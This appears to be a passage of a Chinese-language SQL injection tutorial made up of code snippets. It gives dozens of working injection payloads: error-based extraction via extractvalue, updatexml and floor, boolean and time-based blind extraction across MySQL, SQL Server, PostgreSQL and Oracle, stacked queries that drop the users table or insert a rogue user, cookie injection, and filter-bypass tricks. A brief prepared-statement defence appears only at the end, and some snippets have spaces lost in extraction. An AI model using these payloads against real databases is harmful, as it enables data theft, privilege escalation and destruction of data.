-- extractvalue() 注入:利用XPath解析错误 -- 攻击输入: 1 AND extractvalue(1,concat(0x7e,database(),0x7e)) SELECT id, username, email FROM users WHERE id =1AND extractvalue(1,concat(0x7e,database(),0x7e)) -- 错误信息中会显示: XPATH syntax error: '~数据库名~'
-- updatexml() 注入:利用XML更新函数错误 -- 攻击输入: 1 AND updatexml(1,concat(0x7e,database(),0x7e),1) SELECT id, username, email FROM users WHERE id =1AND updatexml(1,concat(0x7e,database(),0x7e),1) -- 错误信息中会显示: XPATH syntax error: '~数据库名~'
-- floor() 重复组报错:利用rand()与group by的冲突 -- 攻击输入: 1 AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a) SELECT id, username, email FROM users WHERE id =1AND (SELECT1FROM (SELECTcount(*),concat(database(),floor(rand(0)*2))x FROM information_schema.tables GROUPBY x)a) -- Duplicate entry 错误信息中会显示数据库名
-- exp() 溢出报错:利用大数溢出 -- 攻击输入: 1 AND exp(~(SELECT * FROM (SELECT database())a)) SELECT id, username, email FROM users WHERE id =1ANDexp(~(SELECT*FROM (SELECT database())a)) -- DOUBLE value is out of range 错误信息中会显示数据
-- geometrycollection() 几何函数报错 -- 攻击输入: 1 AND geometrycollection((select * from (select * from (select database())a)b)) SELECT id, username, email FROM users WHERE id =1AND geometrycollection((select*from (select*from (select database())a)b))
-- multipoint() 几何函数报错 -- 攻击输入: 1 AND multipoint((select * from (select * from (select database())a)b)) SELECT id, username, email FROM users WHERE id =1AND multipoint((select*from (select*from (select database())a)b))
-- polyline() 几何函数报错 -- 攻击输入: 1 AND polyline((select * from (select * from (select database())a)b)) SELECT id, username, email FROM users WHERE id =1AND polyline((select*from (select*from (select database())a)b))
-- 步骤1:猜测数据库名长度 -- 攻击输入: 1 AND length(database())=8 SELECT id, username, email FROM users WHERE id =1AND length(database())=8 -- 如果页面正常,说明数据库名长度为8;如果页面显示"用户不存在",说明不是8
-- 步骤2:猜测数据库名第一个字符的ASCII码 -- 攻击输入: 1 AND ascii(substr(database(),1,1))=115 SELECT id, username, email FROM users WHERE id =1AND ascii(substr(database(),1,1))=115 -- 115对应字符's',如果页面正常,第一个字符是's'
-- 步骤3:使用二分法快速猜测字符(提高效率) -- 攻击输入: 1 AND ascii(substr(database(),1,1))>100 SELECT id, username, email FROM users WHERE id =1AND ascii(substr(database(),1,1))>100 -- 如果页面正常,说明ASCII码大于100
-- 攻击输入: 1 AND ascii(substr(database(),1,1))>110 SELECT id, username, email FROM users WHERE id =1AND ascii(substr(database(),1,1))>110 -- 如果页面异常,说明ASCII码在101-110之间
-- 步骤4:获取表的数量 -- 攻击输入: 1 AND (SELECT count(*) FROM information_schema.tables WHERE table_schema=database())=5 SELECT id, username, email FROM users WHERE id =1AND (SELECTcount(*) FROM information_schema.tables WHERE table_schema=database())=5 -- 如果页面正常,说明当前数据库有5个表
-- 步骤5:逐位猜测每个表名 -- 攻击输入: 1 AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117 SELECT id, username, email FROM users WHERE id =1AND ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1),1,1))=117 -- 117对应'u',如果页面正常,第一个表名第一个字符是'u'
-- MySQL sleep() 函数延迟注入 -- 攻击输入: 1 AND if(1=1,sleep(5),0) SELECT id, username, email FROM users WHERE id =1AND if(1=1,sleep(5),0) -- 如果条件1=1为真,数据库延迟5秒响应;如果页面响应时间明显变长,说明条件为真
-- MySQL benchmark() 函数延迟注入(通过重复执行消耗时间) -- 攻击输入: 1 AND if(1=1,BENCHMARK(5000000,MD5('test')),0) SELECT id, username, email FROM users WHERE id =1AND if(1=1,BENCHMARK(5000000,MD5('test')),0) -- 执行500万次MD5('test'),产生明显延迟
-- SQL Server waitfor delay 延迟注入 -- 攻击输入: 1;waitfor delay '0:0:5'-- SELECT id, username, email FROM users WHERE id =1;waitfor delay '0:0:5'-- -- SQL Server专用语法,延迟5秒
-- PostgreSQL pg_sleep() 延迟注入 -- 攻击输入: 1;SELECT pg_sleep(5)-- SELECT id, username, email FROM users WHERE id =1;SELECT pg_sleep(5)-- -- PostgreSQL专用语法,延迟5秒
-- Oracle dbms_pipe.receive_message() 延迟注入 -- 攻击输入: 1 AND DBMS_PIPE.RECEIVE_MESSAGE('RDS', 5)=1 SELECT id, username, email FROM users WHERE id =1AND DBMS_PIPE.RECEIVE_MESSAGE('RDS', 5)=1 -- Oracle专用语法,等待管道消息最多5秒
-- 常用payload模板:结合条件判断和时间延迟逐位猜测数据 -- 攻击输入: 1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0) SELECT id, username, email FROM users WHERE id =1AND if(ascii(substr(database(),1,1))>100,sleep(5),0) -- 如果数据库名第一个字符的ASCII码大于100,数据库延迟5秒;否则立即返回
-- MySQL 堆叠查询注入(分号分隔多条语句) -- 攻击输入: 1;DROP TABLE users-- SELECT id, username, email FROM users WHERE id =1;DROPTABLE users-- -- 先执行查询,然后删除users表
-- 攻击输入: 1;INSERT INTO users VALUES('hacker','123456')-- SELECT id, username, email FROM users WHERE id =1;INSERT INTO users VALUES('hacker','123456')-- -- 先执行查询,然后插入恶意用户数据
-- SQL Server 堆叠查询注入 -- 攻击输入: 1;DROP TABLE users;-- SELECT id, username, email FROM users WHERE id =1;DROPTABLE users;-- -- SQL Server也使用分号分隔语句
-- PostgreSQL 堆叠查询注入 -- 攻击输入: 1;DROP TABLE users;-- SELECT id, username, email FROM users WHERE id =1;DROPTABLE users;-- -- PostgreSQL同样支持堆叠查询
-- 第二次查询:从数据库读取后用于查询 SELECT*FROM users WHERE username ='admin'--' AND role = 'user' -- 实际执行: SELECT * FROM users WHERE username = 'admin' -- 绕过了role='user'的验证条件
-- 应用程序从Cookie读取user_id来查询用户信息 -- Cookie: user_id=1; username=admin SELECT id, username, email, role FROM users WHERE id =1
-- 或者根据Cookie中的username查询 SELECT*FROM users WHERE username ='admin'
注入后的恶意SQL语句:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
-- Cookie 注入:通过修改Cookie中的username值进行注入 -- 攻击输入: Cookie: username=' OR '1'='1'# SELECT*FROM users WHERE username =''OR'1'='1'#' -- 绕过用户名验证,返回所有用户信息 -- Cookie 注入:通过修改Cookie中的id值进行联合查询注入 -- 攻击输入: Cookie: id=1 UNION SELECT 1,2,3,4 SELECT id, username, email, role FROM users WHERE id = 1 UNION SELECT 1,2,3,4 -- 测试列数,并可能获取其他数据 -- Cookie 时间盲注:结合时间延迟逐位猜测数据 -- 攻击输入: Cookie: id=1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0) SELECT id, username, email, role FROM users WHERE id = 1 AND if(ascii(substr(database(),1,1))>100,sleep(5),0) -- 如果数据库名第一个字符的ASCII码大于100,页面响应延迟5秒 -- Cookie 注入实现权限提升 -- 攻击输入: Cookie: user_id=1 OR role='admin' SELECT id, username, email, role FROM users WHERE user_id = 1 OR role='admin' -- 返回所有管理员用户的信息,可能泄露敏感数据
-- 联合查询的双写绕过 -- 攻击输入: 1 UNUNIONION SESELECTLECT 1,2,3 SELECT*FROM users WHERE id =1 UNUNIONION SESELECTLECT 1,2,3 -- 经过过滤后变成: SELECT * FROM users WHERE id = 1 UNION SELECT 1,2,3
-- 删除表的双写绕过 -- 攻击输入: 1; drdropop ttableable users-- SELECT*FROM users WHERE id =1; drdropop ttableable users-- -- 经过过滤后变成: SELECT * FROM users WHERE id = 1; DROP TABLE users--
-- 字符转换函数绕过: -- hex() 被过滤 → 使用 encode() 或 unhex() 函数 -- 攻击输入: 1 AND hex(database())=0x74657374 SELECT id, username, email FROM users WHERE id =1AND encode(database())=0x74657374 -- encode()是hex()的替代函数,功能相同
-- 字符编码值函数绕过: -- ascii() 被过滤 → 使用 ord() 函数 -- 攻击输入: 1 AND ord(substr(database(),1,1))=115 SELECT id, username, email FROM users WHERE id =1AND ord(substr(database(),1,1))=115 -- ord()是ascii()的替代函数,返回字符的ASCII码值
-- 字符串截取函数绕过: -- substring()/substr() 被过滤 → 使用 mid(), left(), right() 函数 -- 攻击输入: 1 AND mid(database(),1,1)='t' SELECT id, username, email FROM users WHERE id =1AND mid(database(),1,1)='t' -- mid()函数等同于substring(),从指定位置开始截取
-- 字符串连接函数绕过: -- concat() 被过滤 → 使用 concat_ws(), group_concat(), make_set() 函数 -- 攻击输入: 1 AND concat_ws(' ',database(),version())='test 5.7.32' SELECT id, username, email FROM users WHERE id =1AND concat_ws(' ',database(),version())='test 5.7.32' -- concat_ws()用分隔符连接字符串,第一个参数是分隔符
-- 数据库信息函数绕过: -- version() 被过滤 → 使用 @@version 或 version_comment -- 攻击输入: 1 AND @@version LIKE '5.7%' SELECT id, username, email FROM users WHERE id =1AND @@versionLIKE'5.7%' -- @@version是MySQL的系统变量,等同于version()函数
-- 数据库名函数绕过: -- database() 被过滤 → 使用 schema() 函数 -- 攻击输入: 1 AND schema()='test' SELECT id, username, email FROM users WHERE id =1AND schema()='test' -- schema()是database()的替代函数,返回当前数据库名
-- 当前用户函数绕过: -- user() 被过滤 → 使用 current_user() 或 system_user() -- 攻击输入: 1 AND current_user()='root@localhost' SELECT id, username, email FROM users WHERE id =1ANDcurrent_user()='root@localhost' -- current_user()返回当前登录用户信息
-- 字符串长度函数绕过: -- length() 被过滤 → 使用 char_length() 或 octet_length() -- 攻击输入: 1 AND char_length(database())=4 SELECT id, username, email FROM users WHERE id =1ANDchar_length(database())=4 -- char_length()返回字符数,length()返回字节数
-- 时间延迟函数绕过: -- sleep() 被过滤 → 使用 benchmark() 函数 -- 攻击输入: 1 AND benchmark(5000000,MD5('1'))=1 SELECT id, username, email FROM users WHERE id =1AND benchmark(5000000,MD5('1'))=1 -- benchmark()执行指定次数的表达式,产生延迟
-- 条件函数绕过: -- if() 被过滤 → 使用 case when 语法 -- 攻击输入: 1 AND (CASE WHEN database()='test' THEN sleep(5) ELSE 1 END) SELECT id, username, email FROM users WHERE id =1AND (CASEWHEN database()='test'THEN sleep(5) ELSE1END) -- case when相当于if-else结构,功能更强大
-- 其他常见替代函数: -- count() → 被过滤可使用 sum(1) 或 max(1) -- count() → 使用聚合函数如 sum(1) -- limit() → 使用 fetch first n rows only(某些数据库) -- limit() → 使用 TOP n(SQL Server) -- group by() → 使用 order by配合 distinct
-- NULL 字节绕过: -- 当应用程序使用字符串处理函数,在遇到NULL字节时可能提前终止 -- 攻击输入: 1%00' OR 1=1-- SELECT*FROM products WHERE id =1%00' OR 1=1--' -- %00是NULL字节,某些字符串处理函数在%00处停止处理,后面的内容被忽略
-- 分号绕过(URL编码): -- 当分号被过滤时,使用URL编码的分号 -- 攻击输入: 1%3B DROP TABLE users-- SELECT*FROM products WHERE id =1%3B DROPTABLE users-- -- %3B是分号的URL编码,被解码后执行堆叠查询
-- 逗号绕过: -- 当UNION SELECT中的逗号被过滤时,使用JOIN或OFFSET替代 -- 攻击输入: UNION SELECT 1,2,3 → UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c SELECT*FROM products WHERE id =1UNIONSELECT*FROM (SELECT1)a JOIN (SELECT2)b JOIN (SELECT3)c -- 使用JOIN子查询替代逗号分隔多个值
// 使用 - 即使输入包含注入代码也是安全的 $result = login($pdo, "admin' --", "anything"); // 实际执行: SELECT * FROM users WHERE username = 'admin\' --' AND password = 'anything' // 安全!
// ==================== 复杂查询 ==================== functionsearchUsers($pdo, $keyword, $minAge, $maxAge, $limit) { $sql = "SELECT * FROM users WHERE username LIKE :keyword AND age BETWEEN :minAge AND :maxAge ORDER BY id DESC LIMIT :limit";